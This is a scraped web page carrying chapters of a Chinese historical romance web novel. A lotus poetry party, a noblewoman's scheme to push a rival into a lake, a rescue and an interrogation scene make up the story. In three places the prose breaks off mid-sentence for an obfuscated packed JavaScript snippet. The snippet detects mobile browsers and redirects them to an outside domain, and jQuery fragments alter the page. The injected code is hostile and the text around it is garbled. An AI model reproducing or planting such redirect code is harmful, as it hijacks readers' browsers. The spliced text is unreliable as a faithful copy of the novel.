周淳提前得到过言语,此刻已将手中那朵莲花投入朱修金面前的竹篮,又笑问道:“琴儿觉得如何?” 茅凝琴迟迟未动。 周淳先前便暗暗在她面前提点过朱修金的身份,淮安府尹之子,南京守备冯大人的子侄,自身又是举子,前途无量。 她自是知道周淳的心思,父亲如今年龄大了,有心无力,便指着自己的婚事为兄长在官场上铺路。 只是茅凝琴早就听闻过朱修金的名声,实在是有些看不上他,此刻也并未看吟诗之人,反倒是盯住了不远处一道修长挺拔的男子身影。 她虽然才来此处不久,但她的丫鬟早已在此中帮她物色,便知道这位公子才华十分出众,信口就吐出锦绣诗篇,篮中的莲花都要挤不下了。 而且样貌也让人心动,虽是低调地着了一身雪青色金线绣弹墨藤纹扁丝绢圆领袍,仍立如芝兰玉树,皎若银质霜辉。 而且她认得他袖口处的拼色乌金缎,价值连城,便是以靖德侯府的身家,也只在老太太房里见过一匹。 茅凝琴很快动了心思,悄悄让自己的心腹丫鬟前去传话,他若是有意,便在这一场以“金陵凝翠”为题,为自己赋诗一首。 她低垂着头,装作无事挂心的样子,实则心中小鹿乱撞,紧紧地盯着那位公子那边的动静。 很快,她便看到自己的丫鬟与那位公子说了什么,他抬头往自己这边看了一眼,竟未说话,而是起身准备离席了! 茅凝琴又羞又愤,气得咬紧了银牙。 周淳一直在关注着她的反应,自然猜到她在做什么。 她悄悄绕过屏风,语重心长对小姑子劝道:“那位谢公子我认识,是从陈留来广成伯府打秋风的穷亲戚,徒有其表,勉强撑个场子罢了,实则家中早已是破败不堪,哪里比得上朱公子。” 那谢公子有眼不识金镶玉也就罢了,自己的心思还被周淳当场戳破,茅凝琴面色一白,硬撑着道:“我不明白嫂嫂在胡说什么,婚姻大事,自有父母为我做主。” 两人都是自讨没趣,便也不再说话。 男宾作完诗,接下来便轮到女宾。 盛满酒液的酒樽顺流而下,缓缓向屏风处的女眷们靠来。 与拼命祈祷酒樽不要停留在自己面前的梨瓷不同,周泠已经有些跃跃欲试了。 这样的场合向来是她的主场,而且她是庶出,若想要高嫁,在婚事上不被长姐压一头,这个才名她不得不争。 周淳一看周泠的表情,便知道这出身低微的庶女又要出来抢风头了。 好在这场赏花宴她下了不少功夫,只需给监场使个眼色,那酒杯便乖乖地停在了她想停的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在这时,梨瓷忽然灵光一现,快速作答:“蜜煎雪藕煨莲子,并作盘中一味凉。” 场面有一瞬间的安静,谢枕川亦是微微一讶,眼中很快浮现出笑意。 蜜煎雪藕煨莲子,倒是她的风格。 他信手一掷,遥遥将手中莲花投入她的篮中,功成身退,起身离席。 众人像是这才反应过来似的,梨瓷面前的花篮很快堆满了莲花, 有人喃喃地重复,“四顾山光接水光,凭栏十里芰荷香。蜜煎雪藕煨莲子,并作盘中一味凉。” “好诗,好诗啊。” “这结句‘凉’字实在是好,点到即止,又回味无穷。” “此女真是才貌俱全。” …… 周泠和周滢也很高兴,不停赞道:“阿瓷今日可真厉害!” 梨瓷的脸立刻红了起来,这首诗一半都是自己偷来的,实在不好意思邀功。 她正要说什么,却发现谢徵哥哥已经离席便,便胡乱寻了个理由先行告辞,赶着去与他道谢。 周泠和周滢自然以为梨瓷是不愿再作诗,低声嘱咐了几句,便由她去了。 18. 折枝 步出竹林,沿路错落种植芦竹、水烛,低矮些的鸢尾和菖蒲正值花期,青莲和缃叶色的花盛开在剑叶之中,飘逸而雅致。 谢枕川听到身后脚步,走得不算快,梨瓷很快追了上来。 “谢徵哥哥!” 她声音清甜,欢快的心情顺着语气自然而然地流淌出来,让人听了便觉愉悦。 谢枕川停下,好整以暇看向她。 梨瓷三步并作两步赶上去,站在他面前,认认真真抬头看着他,夸奖和道谢的话语一股脑儿地冒了出来。 “今日幸好有你在,要不是谢徵哥哥才思敏捷,好意提点,我刚才肯定会给广成伯府丢大脸的。” 谢枕川随意地点了点头,“不必言谢。” 毕竟能够想出“蜜煎雪藕煨莲子”这样逸趣横生的句子,怎么也不算是丢脸了。 “谢徵哥哥你真好,”顺着话头,梨瓷不自觉回忆起过往来,“我记得幼时先生抽背书的时候,你也是这样偷偷提醒我的。” 不知她想起了什么,边说边笑道:“然后被先生发现,两个人一起挨板子。” “呵。” 谢枕川懒懒掀眸,喉中勉强发出一声哼笑,算是应了。 能天天追在幼年梨瓷身后跑,那劳什子谢徵多半也不聪明。 若换作是他,不说教会她撰文作诗,至少抽背提醒时决计不会被先生发现。 谢枕川懒得再听梨瓷抚今追昔,抬腿继续往前走去。 好吧,大概是最后先生只打了谢徵哥哥,一下也没有打自己的缘故,他好像并不想听这些。 梨瓷赶紧又跟了上来,问道:“赛诗会还未结束,谢徵哥哥怎么就先走了?” 谢枕川随口敷衍,“场内气闷,我出来随意走走。” “那就好,我都还没来得及赠花呢,毕竟以谢徵哥哥的才学,应当夺得头筹才是。” “不必,头筹也不过是虚名而已。” 梨瓷装作没听见他的推辞,又用食指和拇指捏着方才从侍女那里拿来的银环,举起来给谢枕川看,小小一枚,像是戒圈儿一样,“不过我想自己去摘,镜湖里的莲花开得这样好,我都瞧见莲蓬了。” 她口中的“自己去摘”,在谢枕川听来就像是闯祸的预告,今日人多口杂,他有意在宴会上打探些许情况,实在不允许她又闹出什么事来。 谢枕川伸手,径直取走了她手中那枚银环,“你别乱跑,回去自有蜜煎雪藕可吃。” 他才说完这句话,便见梨瓷眼睛已经开始滴溜溜乱转,巴不得自己早些走了。 谢枕川立刻就明白了她的心思,说什么摘花,多半是贪吃想折莲蓬罢了。 为求稳妥,谢枕川干脆领着她继续往前走,两人一路行至湖边游廊处,这里算得上是镜湖里莲花开得最盛的那一片,种植的都是较为普通的红湘莲与白芍莲,碧绿圆润的荷叶挤挤挨挨地凑在一起,盛放与含苞的花朵高低错落,莲蓬低垂,虽然不及南诏雪峰、金屋拥翠之流名贵,也未得花匠精心养护,仍然生长得恣意而旺盛。 谢枕川随手摘下一朵又大又饱满的莲蓬,递给梨瓷。 梨瓷立刻眉眼弯弯,拿着手中这一朵的莲蓬与方才看到的湖中那一片挨个作比较,怎么看都是自己手中这朵更好,色如碧玉,鲜嫩丰盈,还未剥开,便已经散发出淡淡的清香。 细白纤长的手指在莲盘上点来点去,终于数清楚里边一共有十八颗莲子。 梨瓷只觉得自己都有些舍不得吃了。 不过这个念头只持续了不到一瞬,下一秒她就用力地掰开了莲房,露出里面颗粒饱满的莲子来。 若说她方才奋力掰莲房的样子还有些娇蛮,此刻低头剥莲子的模样便乖巧十足了。 莹白柔嫩的手指细细剥开翠绿的外衣,里面是同样莹白柔嫩的莲子,一口咬下去,口感脆嫩而清新,带着一丝淡淡的甜香。 梨瓷露出心满意足的表情,只是持续不到一秒,立刻又皱起了脸。 莲子芯! “好苦好苦,”她蹙着眉,声音也像是刚剥开的鲜嫩莲子,清甜里带着一丝委屈,“你怎么不提醒我呀?” 谢枕川眼中浮起一抹极淡的笑意,表情十分无辜,“莲芯虽苦,但有清心泻火、养心益智之功,用些也无妨。” 他说得一本正经,梨瓷很容易就信服了,她又从莲房里剥下一颗莲子,递给谢枕川,“那你也吃。” 谢枕川的手指格外修长,指节分明,翠绿的莲子落在他手里,小巧玲珑得如同一颗玉珠。 他干净利落剥去莲子外衣,慢条斯理咽下,面不改色。 梨瓷将信将疑看着他,“不苦吗?” 谢枕川神色自若道:“差强人意。” - 赛诗会上人来人往,偏生谢枕川和梨瓷相继离席的时候,茅凝琴全都看在了眼里,眼神也不自觉地跟了过去。 看着两人立在湖畔言笑,她心中又酸又涩,一边劝慰自己,这两人一个是穷书生,一个是商户女,王八看绿豆对上眼了也是正常,可另一边,又恨恨地撕了手中的莲花。 偏偏这个时候还有那厚颜的朱修金不长眼来打扰自己,他不知何时绕到了女眷席这边,捡起了被风吹远的一片鹅黄色莲花瓣,故作风雅道:“可是小生不才,未得姑娘青睐?” 茅凝琴没好气看向他,“关你什么事?” 朱修金早就听说过靖德侯府女儿的傲慢名声,不过女人嘛,性子烈些也无妨,等到过了门,还不是任他揉圆搓扁。 他在风月场里厮混久了,花言巧语张口就来,“茅姑娘生得如此国色天香,若是蹙眉不悦,自然是天大的憾事。” 茅凝琴心情总算好了些,没忍住问道:“那是我生得好看,还是方才作诗的那人生得好看?” 朱修金脸上又露出了心猿意马的表情,方才梨瓷在赛诗会上一鸣惊人,那张脸更是令人神摇目夺,可惜她是广成伯府的表小姐,虽然出身不显,但也不是可以肆意玩弄之人。 若是自己那日…… 看到茅凝琴的脸上已经露出生气的迹象,朱修金顿时醒悟过来。 他虽然遗憾自己不能和这位梨姑娘“再续前缘”,但还分得清利弊,知道孰重孰轻,此刻便赶忙道:“自然是茅姑娘更胜一筹。” 朱修金今日是有备而来,说完这句,又不知从哪里掏出一支和田黄玉莲纹发簪,递到茅凝琴面前,“茅姑娘如此沉鱼落雁、闭月羞花,哪里是别的庸脂俗粉比得上的。” 茅凝琴被逗得噗嗤一笑,接过发簪,掂在手里细细地打量。 这枚和田玉发簪通体鹅黄,色泽温润,倒是配得上她今日的打扮。 朱修金又乘胜追击道:“虽然不知茅姑娘方才为何不悦,但若是能为姑娘分忧,在下自然赴汤蹈火,在所不辞。” 茅凝琴对水自照,仔细将玉簪别在了自己的发髻上,只是她虽然愿意接受朱修金的好意,但并不代表自己愿意嫁给他,何况此人还贪花恋酒,绝非良人。 想到方才朱修金回答前的犹豫,她心中便更觉得厌烦了,一刻也不想再与他共处下去,便道:“并无不悦,只是身体不适罢了,朱公子请自便。” 装病算是贵女们的基本功,茅凝琴捂着胸口,微微蹙眉,若是她起身离席的动作能再慢些,就更像了。 她虽说的是“自便”,朱修金自然不会放过这个好机会,与茅凝琴隔着三五步的距离,有一搭没一搭地凑上来关心她的身体。 茅凝琴虽然没个好脸色,但是也三不五时地应那么一句。 两人一路步出竹林,等到远离了会场的时候,茅凝琴终于忍不住了,她正要开口让朱修金滚远些,忽然在不远处的游廊上看到了一个熟悉的身影。 她脑子里忽然冒出一个绝佳的主意,既能不与朱家撕破脸地让朱修金不要再纠缠自己,又能绝了兄嫂胡乱牵线的念头,甚至能给这个出身低贱的商户女配一桩好婚事呢。 - 那朵莲蓬才吃了不过三两颗,便有人慕名前来寻“谢徵”以文会友。 梨瓷已经学会了剥莲子芯,便也不在意,自己拿好莲蓬,顺着游廊往前,另寻他处玩耍去了。 游廊凌于水上,眼下那一片亭亭玉立的花叶仿佛触手可得,她挑了一处阴凉地坐下,此刻有微风轻拂,挟带着湖面水汽吹熄了夏日燥热,红香之间又添清凉。 茅凝琴来到游廊上的时候,看到的便是梨瓷一个人坐在这里,手里拿着一朵不知从何处摘来的莲蓬,心满意足地剥莲子吃。 哼,小门小户出来的就是这样,没见过世面。 为了自己的那个主意,她很快收拾好自己的情绪,一改先前的傲慢与不屑,笑盈盈走过来道:“阿瓷妹妹,我正要去赏莲,你可要跟我一起?” 梨瓷记得先前两位姐姐嘱咐过自己要少说话,便只摇了摇头,觉得自己坐在这里就挺好。 这商户女戒心还挺强。 见她不上钩,茅凝琴又道:“你先前不是说想要自己去摘莲花么,镜湖边有游船,我带着你,咱们可以去湖中赏花。” 两位表姐还嘱咐过,不要和不熟的人乱跑,梨瓷此刻仍然是听话地摇头。 茅凝琴故作惋惜道:“那真是可惜了,我今天早上游船时,见到那里有一朵极为罕见的白芍并蒂莲,本来还想带妹妹去看看的,毕竟我在府中十余年,也不过就见了这一次而已。” “并蒂莲?”梨瓷果然上当,有些好奇地问,“这世上真的有并蒂莲吗?” 她只在诗文上看过,“青蘋白石匝莲塘,水里莲开带瑞光。露湿红芳双朵重,风飘绿蒂一枝长。” 茅凝琴笑了笑,掩饰住眼中的轻蔑,“自然,做姐姐的还会骗你不成?” 为了增添自己所言的可信度,她胡乱指了一个方向道:“我特意做了标记,那朵并蒂莲就在那里,你看不是不远?都不用侍女,你我撑一会儿船便到了。” 梨瓷心中的坚持已经摇摇欲坠了,茅凝琴又添了最后一把火,“难得阿瓷妹妹来侯府一趟,便有并蒂莲开了,想来是为你开的。可谓是同根、同心、同福、同生的嘉瑞,外边不知多少人想见都见不到的,我本来还想着带你去看,就将这朵并蒂莲送你呢。” 梨瓷眼睛立刻亮了起来,面露憧憬之色,若是赛诗会上一朵莲花,那并蒂莲岂不是可以算作两票? 自己还可以将这朵并蒂莲送给谢徵哥哥,他夺魁的胜算就又多了一点。 “那便多谢凝琴姐姐了。” “你我之间,何必言谢呢。” 茅凝琴嘴上这么说,心中却十分鄙夷。 她在靖德侯府这么多年,见过的莲花没有一万也有八千,但从未见过并蒂莲花,也只有这种白日做梦的蠢货才会相信了。 她甚至还能猜到这蠢货做的是什么梦,多半是什么吉祥如意、好事成双、百年好合、飞上枝头变凤凰。 茅凝琴转身,令丫鬟们布置游船,看着满眼期待的梨瓷,脸上浮现出嘲弄之色。 自己还是太善良了,以梨瓷这种商户女的身份,能够嫁得淮安府尹之子,怎么不算是飞上枝头变凤凰呢? - 游廊的不远处便是一座小型码头,靖德侯府的游船就在那里靠着。 丫鬟们扶着两位姑娘上了船,又按照小姐的吩咐,就在此地候着,不要走远。 其中一个才来府里不久,见游船渐渐远去了,才小声问道:“咱们小姐也实在太大方了,就这么把并蒂莲拱手送人了?” 另外一个老成些,笑啐了一口道:“小姐说来诓人的,你还真信了,等着看好戏便是。” 梨瓷自小在山西长大,那里少有这样宽阔的水域,更别说自己划船了,虽然没多少力气也没有多少用,她仍然在兴致勃勃地胡乱划着桨,努力为自己营造划船的氛围感。 好在湖中还有暗流,游船顺着水流而下,破开丰茂的荷叶,缓缓地朝前驶去。 茅凝琴当然是不会亲自做划船这等下贱之事的,她不过是握着船桨装装样子,笑看梨瓷宛像个船夫一样卖苦力。 梨瓷意兴盎然,不知疲惫地问道:“凝琴姐姐,是往这边划吗?” 午后骄阳正盛,没了树荫,湖面的暑气越发蒸人,茅凝琴望着波光粼粼的水面,已经有些睁不开眼睛了,她指了一处莲花最为茂盛、可以遮人眼目之处道:“是的,就是这边。” 梨瓷又划了一会儿,似乎有了些心得,已经可以开始学着控制方向了。 她按照茅凝琴所指之处划去,不多时,游船两边已是花繁叶茂,荷叶亭亭如盖,近人高了,游船掩映其中,叫人看不分明。 远离了人群视线,茅凝琴立刻放下手中船桨,站在船头,引梨瓷过来,“阿瓷妹妹,你看那边。” 梨瓷果然跟了过来,看了一圈,不明所以道:“哪里呀?” “就是那里!” 茅凝琴眼底迸发出凶狠的恶意,重重地推了她一把,梨瓷立刻“扑通”一声掉进了水里,茅凝琴也没好到哪里去,她刚刚推的那一把用力太狠,几乎梨瓷前脚刚落水,她后脚就也失去平衡,“扑通”一声掉了进去。 两人虽都落水,境遇却天差地别,北方人少有会泅泳的,梨瓷立刻就呛了水,在水中拼命挣扎起来;茅凝琴自小在水乡长大,虽然狼狈了些,但至少还能得喘息,她一边费劲往船边游去,一边期待着自己精心编织的戏码上演。 她来之前便已经暗示过朱修金,自己虽然不喜梨瓷,但却愿意助朱修金纳她做小,到时候自己过了门,便是梨瓷主母,还不是想怎么磋磨便怎么磋磨。 按照计划,朱修金很快便会赶来“英雄救美”,岸上还有不少自己安排的观众,自己再出面证实两人有了肌肤之亲,广成伯必会出面令两人成亲,大家面子上都能说得过去。 到时候周淳若要从朱家疏通关系,也还有个亲戚名头,哥哥在官场上走得好,自己的婚事也能更顺利些,实在是一举多得。 茅凝琴得意洋洋,几乎要为自己的聪明才智笑出来,果然便听得又是“扑通”两声。 不对,为什么会是两声? 她循声望去,正要看是哪个不长眼的破坏了自己的计划,却看到是清风朗月一般的谢公子不顾自身安危,亲身下了水。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14704342|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 茅凝琴心中立刻涌出感动,立刻放弃了泅泳,装作不会水的样子,在水里挣扎起来。 她第一次见有人泅泳也那么好看,修长有力的臂膀划破水面,划臂蹬腿的动作流畅而劲拔,几乎称得上优雅。 她的心也跟随着银白色的水花而起落,分不清是心跳声还是水声……若是这位谢公子,便是家世差些似乎也无妨。 “谢……”茅凝琴装出一副柔弱而无助的样子,张口欲呼,却看到这道矫健的身影已经头也不回地越过了自己这边的水域,径直朝梨瓷那边游去。 又是梨瓷! 她的表情瞬间变得狰狞而扭曲,目光凶恶得像是雨夜后冒出来的蟾蜍。 就在这时,她的耳畔忽然传来了一道热切的呼唤,“凝琴,我来救你了!” 朱修金在听到了茅凝琴的计划之后,自然是举双手赞成,准备坐享齐人之福了。 坊间皆道茅凝琴高傲自满,但到底是高门大院精心培育的贵女,竟然如此贤良淑德、雍容大度,还未过门,就不惜以纳妾来笼络自己的心。 这两位美娇娘,一位是出身勋贵,一位有万贯家财,等到进了门之后,自己的日子岂不是比皇帝老儿还舒坦! 他望着缓缓驶动的游船,只盼它开得再快些,恨不得自己能潜在下面多划两下。 眼见游船已经驶入了那片荷花之中,朱修金更是摩拳擦掌,已经开始在岸上比划起来,听到水声响后,立刻毫不犹豫地跳了下去。 他才划了没两下,便发现事情有些不对,说好的是茅凝琴推梨瓷落水,怎么现在大房也掉下去了? 朱修金立刻陷入了迟疑,到底救哪个好呢? 他还在迟疑,没想到机会稍纵即逝,已经看到有人抢先一步朝梨瓷游过去了。 朱修金不甘示弱,奋力刨了两下,已经被那人遥遥甩在身后,他也不是个蠢的,见救梨瓷不成,立刻转头向茅凝琴游去。 他气喘吁吁地游到了茅凝琴身边,眼神黏糊糊地落在了她的胸口处。 她今日妆面太浓,落了水之后的确称不上好看,但是此刻衣裳湿透,褙子下的齐胸衫也紧紧贴在身上,立刻就有不一样的滋味了。 “滚开,”茅凝琴狠狠地一拍水,恨不得将朱修金的脑袋摁在水里,“离我远点!” 若说朱修金先前还有不切实际的幻想,见茅凝琴这幅态度,哪里还有不明白的? 这贱人多半就没有打算嫁给自己! 朱修金怒从心中起,恶狠狠地将她往自己身上贴,根本没有避人耳目的心思。 男人的力气到底还是大些,茅凝琴挣扎不过,硬生生地被他“抱”回了岸上,一旁候着的丫鬟和仆从都是事前被叫来看热闹的,按照她的吩咐,特意未备应急遮丑用的衣裳,茅凝琴此刻妆发凌乱,衣裳湿透,颜面清誉尽失。 她在心腹丫鬟的搀扶下晃晃悠悠站起来,走到朱修金勉强,用尽全力甩了他一个耳光。 只听得“啪”的一声脆响。 茅凝琴强撑着最后一口气,恶狠狠道:“我以靖德侯府之名发誓,今日之事,若有人胆敢传言出去半个字,定会叫他后悔一辈子!” 府中下人哪里不知道她的秉性,被叫来看了这样一出好戏,还没来得及有所反应呢,立刻又被吓得两股战战,大气都不敢出。 - 水流缓缓裹挟着落水的两人往不同的方向去,湖中荷叶茂盛,梨瓷勉强抓住手边荷叶茎干挣扎,浮浮沉沉,咽了不知多少口水,眼看就要耗尽最后一点儿力气。 应天府的勋贵也分清浊,谢枕川今日在赛诗会上崭露头角,自然有文人风骨的世家公子想要与之结交,譬如南京都察院右都御史之子贺嘉石。 两人从诗词论到古今,相谈甚欢,谢枕川正要探听上届科举之事,忽然听得湖中传来落水声。 若是以往,他定当事不关己,继续与贺嘉石攀谈,今日却不知怎的,鬼使神差地往落水处看了一眼。 他目力极佳,哪怕隔着重重花叶,也能轻易分辨出落水的那道纤细身影正是梨瓷,只见她此刻挣扎的动作越来越小,已是力竭之兆。 来不及细想,谢枕川已经跳入水中,快速往梨瓷那里游去。 不过瞬息之间,梨瓷忽然感到一只有力的臂膀扶住了自己,脸上的水珠不知是溅起的水花还是自己的眼泪,落水的人没有多少自主意识,她只顾着盲目地攀附住眼前的救命稻草,却不知道自己是在把他一起往下拽。 好在谢枕川的力气更大,他一手圈抱住梨瓷,一手泅泳,将她往不远处的假山上带。 他身高腿长,又是蜂腰削背,哪怕是带了一个人,仍然矫若游龙,几瞬之间,便已经靠了岸。 谢枕川将梨瓷打横抱起,寻了处绵软草地放下,此处四下无人,他仍是褪去了身上外衣,覆在了梨瓷身上。 “梨瓷,梨瓷,醒醒。” 谢枕川一连喊了好几声,也未有回应。 他眼神中闪过一丝连自己也未曾察觉的慌乱,又伸手探了探脉搏与鼻息,好在还有微弱起伏。 谢枕川心下稍安,为她清理了鼻腔积水,又俯身下去,准备按照古书上所言为梨瓷渡气。 两人的面颊贴得越来越近,鼻尖几乎要相触之时,那双卷翘而纤长的睫羽忽然颤动了一下,像是春日破茧而出的蝶翼。 谢枕川微微一怔,在那双漆黑澄澈的眼眸睁开之前迅速起身。 梨瓷悠悠睁开眼,只觉得自己浑身难受,肺部更像是要炸了一样。 谢枕川装作若无其事的样子扶她起来,靠坐在一块山石上,故作镇静道:“你方才溺水了,现在感觉如何?” 经他提醒,梨瓷立刻想起来自己好像才从死里逃生,她哑声道:“谢、谢徵哥哥。” 说完这句话,她便好像找到了家人一样,不管不顾地抱住他放声大哭起来,“呜呜呜……谢徵哥哥,茅凝琴骗我,我差点死掉……” 谢枕川的身体一僵,犹豫片刻,试探着轻拍了拍梨瓷的脊背,算是安慰。 大概是最近假装文弱书生太久,懈怠了练武,方才泅泳又用力过猛了,他只觉得自己此时有些心跳过速的症状。 谢枕川暗自调整呼吸,冷静道:“她骗你什么?” “她骗我……骗我说湖里有并蒂莲,但是湖里什么都没有,我还不小心落水了,还差点死掉……” 见她情绪还不稳定,谢枕川改拍为轻抚,像是在给一只受到惊吓的小动物顺毛。 “别哭,”他不甚熟练地安慰道:“别哭,你看你手里是什么?” 梨瓷的眼泪还在一颗一颗不受控制地往下掉,鼻子也一抽一抽的,但好歹是忍住了哭出声,她低头往下看,是一朵并蒂白芍莲。 色如白玉,花开两朵,并为一枝。 小剧场: 大婚之夜,喜盘中摆着红枣、花生、桂圆、莲子。 梨瓷特意端来那一碟新鲜莲子,指挥着赘婿剥莲子,自己吃莲子肉,小谢吃莲子芯。 梨瓷(凶巴巴,虚张声势):苦吗? 谢枕川(笑盈盈,迫不及待):甘之如饴。 19. 审讯 白璧无瑕的花瓣上还沾着晶莹的水珠,完整地连接着竖直的茎干、碧绿的圆叶,甚至还带出了健壮的根系和一小段细细的藕节。 大概是她刚刚在湖中胡乱扑腾的时候,顺手“挖”出来的? 梨瓷像是有些不敢置信,执拗地用另一只手捏了捏自己的脸,手指蹭出一抹泥沙痕,越发衬得那张小脸白净可爱。 这下总算是相信了。 梨瓷呆呆地看着手中的并蒂莲,连眼睛都忘了眨,晶莹剔透的泪珠垂挂在卷翘的长睫毛上,将落未落。 她终于不哭了。 两人环抱的姿势立刻就变得暧昧起来,谢枕川放下为她抚背的手,不动声色地后退了一步,站起身来。 梨瓷丝毫没有察觉有什么不对,满心沉浸在自己捡到一朵并蒂莲的兴奋里,语气雀跃,“谢徵哥哥,是并蒂莲!” 她有些费劲地举起连茎带叶有近半人高的花,一如既往地慷慨大方,“送给你!” 她眼中闪耀着比水珠更为晶莹明亮的光芒,像是能够直白地折射出澄澈如琉璃的心思。 “不是才教过你,不要——” 谢枕川说到一半,欲言又止。 上次说的是“不要大手大脚地给别人花钱”,而这次不一样,是“差点死掉”才摘回来的并蒂莲。 明明做出了这样过分的事情,那双眼睛里依旧干净得什么也没有,仿佛赠出的不过是路边随意摘下的一朵野花,而不是可以入京上贡的祯祥嘉莲。 谢枕川微微垂眸,分辨不出眼底情绪,语气妥协道:“这是你摘回来的花,我先替你收着罢。” 他接过那朵“拖泥带水”的并蒂莲,微微侧过身去,留给梨瓷整理仪态的空间,声音很快又恢复了沉定,“方才是怎么回事?” 梨瓷还记得自己刚刚哭哭啼啼指控茅凝琴欺骗自己的事情,这会儿才后知后觉地难为情起来,她揪着自己的裙摆,一点一点地拧着上面的水,有些心虚,“应当是我误会凝琴姐姐了。” “她在游廊上遇见我,说要带我去看并蒂莲,知道我要摘花,还答应将这朵并蒂莲送给我,我们就一起撑船去了。” “船行到莲花深处的时候,她站在船头带我看花,大概是没站稳,掉下去的时候不小心把我也带下去了。” 梨瓷还有一点小小的愧疚,“方才我还以为她骗我,这世上根本不会有并蒂莲呢,没想到竟然是真的。” ……他也没想到这世上当真有如此心思纯净的笨蛋。 她说了半天,一个重点也没抓到,但谢枕川已经从她的只言片语和方才发生的事情里拼凑出了真相。 他扬了扬眉尾,意有所指道:“你落水时,船头向东,花却是在西边摘的,这是为何?” 梨瓷以己度人,十分坦荡,“大概是凝琴姐姐记错了,或者是她也分不清方向。” 谢枕川深吸了口气,又问,“你比她先落水,怎么会是她不小心把你带下去的?” 梨瓷总算迟疑片刻,还是被她想出了理由,“这大概是上天的指引,让我先下去给谢徵哥哥摘花呀。” 花言巧语。 谢枕川只觉得自己的心率继慌乱之后又漏跳了一拍,多半是被这个笨蛋气的。 他懒得和她继续探讨这个话题,只嘱咐道:“你在此处稍候片刻,我请人去拿备用的衣裳,收拾好后,早些回广成伯府。” 梨瓷不明所以,“不用和凝琴姐姐她们告辞吗?” 谢枕川又再次领会到了梨瓷无意识气人的本事,好在这回气的不是他了。 他挑眉笑了笑,意味深长道:“你平白拿了人家府上的祥瑞,还要明目张胆地戳人家的心窝子?” 梨瓷这才有些明白过来,凝琴姐姐好像并不是真的愿意把并蒂莲送给自己。 既然是这样,那自己就更不用愧疚了! 梨瓷立刻也压低了声音,一副干出了天大坏事的兴奋样子:“那我们偷偷跑掉吧,动作快一点,免得靖德侯府来算账。” - 谢枕川使了些手段,两人总算是连带着那株完完整整的并蒂莲顺顺利利地离开了靖德侯府。 只是最终拗不过梨瓷,还是将那株并蒂莲养在了方泽院里头。 谌庭的消息灵通得很,得知了此事,还未入夜便赶来赏花。 洁白无瑕的两朵白芍莲亲密无间地挨在一起,花开并蒂,静影沉璧,清新淡雅。 他绕着花缸走了三圈,啧啧称奇道:“并蒂连理,嘉祥瑞莲,真真是天作之合呀。” 谢枕川懒洋洋靠坐在圈椅上,面前摆着一本濯影司快马从淮安府送回的账册。 他喝了一口酽茶,这才又翻动一页,皱眉道:“你在胡说八道什么?” 谌庭转头看向他,冤屈道:“我在说这并蒂莲啊。” 他忽然恍然大悟,特特绕到谢枕川面前来,“你以为我在说什么?” 谢枕川置之不论,低头在账册上圈出几处,又揉了揉太阳穴,口中默算。 谌庭却揪住不放了,他长长地“哦~~”了一声,语气促狭,“谢大人大仁大义,先前说要将计就计,以身入局,如今可探出广成伯府这位表小姐所图何事?” 谢枕川没理他,振笔疾书写下几个数字,没忍住低咳了两声,这才道:“此事无关大体,我自有打算。” “行行行,你别把自己搭进去就行,”谌庭也不再继续说道此事,只是见他神色恹恹,又问,“难得见你这幅疲怠样子,不会是风寒了吧?” 谢枕川此人虽然看着懒洋洋的,实则精力过人,更是算无遗策,事无巨细尽在掌握,不然也不会如此年纪轻轻,便官至濯影司指挥使了,实在少见如此精神匮竭的样子。 谢枕川没承认也没否认,他搁下笔,装若无意道:“既然来了,那就留下来一同审案吧。” 北铭原本要带人暗中查探淮安盐运分司账目,却天降大火,将账房烧了个精光,他们好不容易才从火海中抢救下了几本幸存的账册,还有一名昏迷不醒的嫌疑人。 算算日子,今日也差不多该醒了。 趁着夜色,两人悄无声息地去了濯影司驻应天府的据点。 北铭在前面为两位大人带路,谌庭率先问道:“审得如何了?” 北铭面露尴尬之色,“尚无进展。” 谌庭又问,“可用刑了?” “疑犯刚醒来不久,我们还未用刑,况且他说……” “他说什么?” “他说自己是濯影司之人,让我们动手之前好好考虑清楚。我们不敢妄动,只得请大人定夺。” “定夺什么,”谢枕川恹恹道:“直接用刑便是。” “这……”北铭还未来得及细说,一行人已经到了牢外。 那疑犯倒是精神好得很,原本似乎靠坐在床上休息,见有人来了,立刻开始叫嚷,“你们给我听好了,本公子是濯影司之人,指挥使谢枕川谢大人的名声你们可听过?今日若是敢动我一根毫毛,他必定会亲自为我做主,睚眦必究!十倍奉还!” 牢内的空气里弥漫着难言的沉默与窘迫。 谢枕川停下脚步,当真是睚眦必究,语气淡漠道:“杀了。” “是。” 北铭立刻领命,拔剑出鞘。 剑刃寒光一闪,那犯人转头看过来,牢内烛火摇动,依稀可以看清他的五官长相。 “慢着,”谢枕川忽然又改了主意,指了指谌庭道:“你来审。” - 刑讯房很快就布置好了,按照谢枕川的吩咐,房中添了一张书桌以及笔墨纸砚,犯人被牢牢拷在老虎凳上,背对着他们。 虽然还未开始用刑,周济心中已经开始慌乱,他牢牢记住祖父给的锦囊,又要搬出那位谢大人的名头来,“你们好大的胆子——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14717440|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 